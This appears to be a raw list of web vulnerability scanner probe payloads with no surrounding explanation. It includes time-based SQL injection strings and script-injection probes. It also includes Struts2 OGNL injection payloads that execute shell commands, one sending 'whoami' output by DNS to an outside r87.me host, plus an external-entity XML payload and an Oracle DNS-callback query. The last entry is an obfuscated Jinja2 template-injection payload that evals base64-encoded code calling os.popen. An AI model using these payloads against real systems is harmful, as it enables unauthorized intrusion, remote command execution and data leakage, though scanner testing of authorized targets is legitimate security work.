1);SELECT pg_sleep(25)-- /* e6f2b819-ff03-448d-9048-0f8fd5622544 */

1');SELECT pg_sleep(25)-- /* b030af36-9884-4a31-aa26-b3863f0fc540 */

1'));SELECT pg_sleep(25)-- /* bc898e8e-f92c-4367-98ef-4b35fa5ea244 */

1));SELECT pg_sleep(25)-- /* 8975a209-6456-449f-a245-65c93cfb5f22 */

1));SELECT pg_sleep(25)-- /* d33de943-3090-4bd7-a1e1-2c72197f0ae3 */

n3tsp4rke2

<scRipt>netsparker(0x03481B)</scRipt>

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='65836').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

wezgh4e8eeqvspbpwoe-iklnogrdieo-q4mk1vqnuhm.r87.me

wezgh4e8ee_obbsynmoakugz22zxxdqnybbr6krp6rs.r87.me

//wezgh4e8eebwzs0wgxzus5scxvzvwpghmt0aozfd8ti.r87.me

//wezgh4e8eebxuf606xtfc7w8j7u07pe6iv86obadx5e.r87.me

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://wezgh4e8"><!ENTITY % d "eecwhh1bdbv1kdto4y-iytcr68llusm1glk.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>

(select UTL_INADDR.GET_HOST_ADDRESS(chr(119)||chr(101)||chr(122)||chr(103)||chr(104)||chr(52)||chr(101)||chr(56)||chr(101)||chr(101)||chr(56)||chr(121)||chr(100)||chr(120)||chr(112)||chr(102)||chr(110)||chr(121)||chr(102)||chr(55)||chr(116)||chr(103)||chr(120)||chr(107)||chr(100)||chr(108)||chr(120)||chr(106)||chr(115)||chr(117)||chr(97)||chr(109)||chr(109)||chr(110)||chr(120)||chr(115)||chr(100)||chr(116)||chr(121)||chr(97)||chr(109)||chr(100)||chr(101)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

http://wezgh4e8eeggo-wnk9zkue6b2boru_pwfhhhl1g-atn.r87.me/p/

http://wezgh4e8ee9xclybgxvvjzl9cb2ushmfxlkx7jdrshh.r87.me/p/

wezgh4e8eeqbifdsb5nqdzm7rajrzf0hnlld2o1ggfl.r87.me/p/

wezgh4e8ee6rjwqk0jeflz0-xabla1zi4h4dvzhft6b.r87.me/p/

//r87.com/n/j/?0x034A5B

//r87.com/n/j/?0x034A5C

*/netsparker(0x034A9D);/*

'+netsparker(0x034A9F)+'

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."wezgh4e8ees4gukarz0fabsaesy2daroc8ghp0if""mfo.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnZDJWNloyZzBaVGhsWlhsbFltNXpiMmxrYVc5d2IyZGlNSFJrWldWaGEzYzJaelJ5YUhkMWVXUmpheTV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}